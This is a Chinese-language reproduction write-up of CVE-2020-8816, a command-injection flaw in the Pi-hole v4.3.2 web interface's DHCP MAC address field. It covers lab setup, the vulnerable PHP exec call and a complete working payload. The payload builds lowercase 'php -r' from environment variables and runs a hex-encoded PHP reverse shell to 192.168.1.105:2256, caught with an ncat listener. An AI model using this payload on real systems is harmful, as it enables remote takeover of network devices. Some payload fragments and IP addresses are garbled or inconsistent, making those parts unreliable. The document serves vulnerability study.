CVE-2020-8816是Pi-hole远程代码执行漏洞在软件中,Pi-hole它用于内容过滤DNS还提供服务器DHCP该软件提供服务。Web界面,漏洞就存在于实现Web在界面源代码中,影响版本v4.3.2及其之前。
环境建设(先看下面的踩坑)
环境:virtualbox6.1 ubuntu18.04 pi-hole v4.3.2
相关IP:
虚拟机NAT网卡,IP地址为:10.0.2.15
虚拟机桥接网卡,IP地址为:192.168.0.107
主机IP地址为:192.168.0.105
1、下载Pi-hole的安装脚本
mkdir pi-holecd pi-holewget -O basic-install.sh https://install.pi-hole.net
2、修改脚本文件,下载v4.3.2版本
一开始直接下载v4.3.2但最新版本在安装后被发现,最终决定直接修改官方提供的安装脚本。
注意使用最新版本的安装脚本,v4.3.2虽然安装脚本也可以使用,但修改的内容更多,这里不再重复。
找到make_repo()函数中的以下代码:
# Clone the repo and return the return code from this command git clone -q --depth 20 "${remoteRepo}" "${directory}" &> /dev/null || return $?
修改为:
# Clone the repo and return the return code from this command git clone -q --depth 20 --branch v4.3.2 "${remoteRepo}" "${directory}" &> /dev/null || return $?
第一次安装时,系统将被调用make_repo()函数,从github上下载pihole以及web interface指定下载代码v4.3.2版本。
如果不是第一次安装,系统将被调用update_repo()函数,但一般安装一次就能成功。如果需要重新安装,可以删除make_repo()中创建的文件夹,避免进入update_repo()函数。
3、执行脚本&安装成功
sudo bash basic-install.sh
因为我只是想在这里复制漏洞,不需要考虑软件的功能,所以我基本上可以选择默认选项。
请注意,这一步只选择一个,以避免浪费时间,因为这些网站将被下载并屏蔽广告列表。
显示以下界面:
打开http://192.168.1.107/admin,页面下方的版本号是我们需要的版本:
踩到的坑
1、ubuntu版本问题
我估计大多数人都不会遇到这个问题,因为我的virtualbox里面刚装了一个新的ubuntu12.04,这是一个干净的系统,我直接使用这个版本ubuntu,安装时发现找不到结果Pi-hole一些依赖包,最后放弃,转战ubuntu18.04。
2、SSL连接问题
错误信息:
OpenSSL SSL_connect: SSL_ERROR_SYSCALL……
我不记得省略号,但如果遇到同样的错误,应该能认出来。
解决办法:
执行下列命令
git config --global http.sslVerify false
3、FTL下载失败
错误信息:
[i] Downloading and Installing FTL... curl: (56) OpenSSL SSL_read: SSL_ERROR_SYSCALL,errno 104 [?] Downloading and Installing FTL Error: URL https://github.com/pi-hole/FTL/releases/download/v4.3.1/pihole-FTL-linux-x86_64 not found[?] FTL Engine not installed
解决办法:
这个问题是由网络引起的。如果可以设置虚拟机使用主机代理,可以省略以下内容。但是由于个人原因,我的设置不成功,需要在主机下载文件,复制到正确的位置,适当修改脚本。
请注意,在错误的信息中,我们已经获得了文件的下载地址https://github.com/pi-hole/FTL/releases/download/v4.3.1/pihole-FTL-linux-x86_64,下载后放入用户根目录。
观察basic_install.sh文件,发现FTLinstall()函数中有这样一行代码:
# Move into the temp ftl directory pushd "$(mktemp -d)" > /dev/null || { printf "Unable to make temporary directory for FTL binary download\\n"; return 1; }
因此,程序将新建并进入临时文件夹,下载的文件将保存在这里,而不是脚本所在的文件夹。无论如何,我们只需要将下载的文件放入当前的文件夹中。basic_install.sh文件,在FTLinstall()函数中,找到以下代码:
# If the download worked,if curl -sSL --fail "${url}/${binary}" -o "${binary}"; then # get sha1 of the binary we just downloaded for verification. curl -sSL --fail "${url}/${binary}.sha1" -o "${binary}.sha1"
并修改为:
# If the download worked,# if curl -sSL --fail "${url}/${binary}" -o "${binary}"; then cp ~/pihole-FTL-linux-x86_64 ./ if true; then # get sha1 of the binary we just downloaded for verification. curl -sSL --fail "${url}/${binary}.sha1" -o "${binary}.sha1"
漏洞分析
有问题的代码
$mac_addr) == 1)$mac = $_POST["AddMAC"]; if(!validMAC($mac)) {...}$mac = strtoupper($mac); if(isset($_POST["addstatic"])) ... exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname); ...} if(isset($_POST["removestatic"])) ... exec("sudo pihole -a removestaticdhcp ".$mac); ...} $mac_addr) == 1); }$mac = $_POST["AddMAC"]; if(!validMAC($mac)) {...}$mac = strtoupper($mac); if(isset($_POST["addstatic"])) { ... exec("sudo pihole -a addstaticdhcp ".$mac." ".$ip." ".$hostname); ...} if(isset($_POST["removestatic"])) { ... exec("sudo pihole -a removestaticdhcp ".$mac); ...}
看这里的完整代码。
注意到,在validMAC只在函数中使用preg_match对MAC检查了地址的格式,preg_match函数的功能是根据正则表达模式搜索匹配字符串,并返回匹配字数。因此,只要用户输入存在MAC通过检查地址。
用户输入通过检查进行大写转换,然后直接放入exec函数中。
最终的payload
aaaaaaaaaaaa&&SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/%/&&B=${PWD#///////&&H=${B%//}&&C=${PWD#/??}&&R=${C//////&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'&&
Payload分析
1、模拟MAC地址
aaaaaaaaaaaa
根据源码中的validMAC()函数,我们知道程序将为用户输入提供基本信息MAC只要由12个字母或数字组成,就可以验证地址格式。
2、获取p,h,r的小写字符
SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/%/&&B=${PWD#///////&&H=${B%//}&&C=${PWD#/??}&&R=${C/////
原本的payload应该为:
aaaaaaaaaaaa&&php -r ‘$sock=fsockopen(“192.168.0.105”,2256);exec(“/bin/sh -i <&3 >&3 2>&3”);’
但由于程序将对用户输入进行大写转换,php -r会变成PHP -R,命令无法识别,因此需要找到获令的方法p、h、r小写字符。
可使用环境变量,变量名为大写字母,变量值可包含各种小写字母。
进入浏览器http://192.168.1.107/admin,登录后,选择Setting->DHCP先试试选项卡PATH变量,输入aaaaaaaaaaaa$PATH,结果显示:
不幸的是,没有h字符,似乎还需要找到其他环境变量。env在执行命令的结果中找到了PWD变量,输入试试:
里面有h和r,所以,我可以用PATH和PWD两个环境变量,获得p、h、r这些字符。
我使用了Shell参数扩展截取了这两个变量值:
p: SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/} h: B=${PWD#///////&&H=${B%???/???} r: C=${PWD#/??}&&R=${C/////
根据模式匹配的规则,应该可以写出更简单的方法,但是我的系统有很多shell选项没有打开,考虑到通用性,我直接选择了最愚蠢的匹配方法。
3、获得反向shell
$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'
首先用相应的字符替换变量,注意以上$IFS是shell默认为内定变量<space><tab><newline>,这里取代空格。
php -r 'exec(hex2bin("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"))'
然后替换hex2bin执行结果(转义符是我后加的):
php -r 'exec(php -r \'$sock=fsockopen("192.168.1.105",2256);exec("/bin/sh -i <&3 >&3 2>&3");\')'
这段代码就可以获得一个反向shell。
漏洞复现
输入主机命令行:
ncat -nlvp 2256
进入监控模式,等待其他机器的连接。
返回虚拟机,打开浏览器http://192.168.1.107/admin,登录,选择Setting->DHCP选项卡,输入payload:
aaaaaaaaaaaa&&SHORT=${PATH##/***:/}&&A=${SHORT#???}&&P=${A%/%/&&B=${PWD#/???/???/}&&H=${B%//}&&C=${PWD#/??}&&R=${C//////&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN("706870202d72202724736f636b3d66736f636b6f70656e28223139322e3136382e312e313035222c32323536293b6578656328222f62696e2f7368202d69203c2633203e263320323e263322293b27"));'&&
返回主机时,您可以看到主机已经连接并执行命令: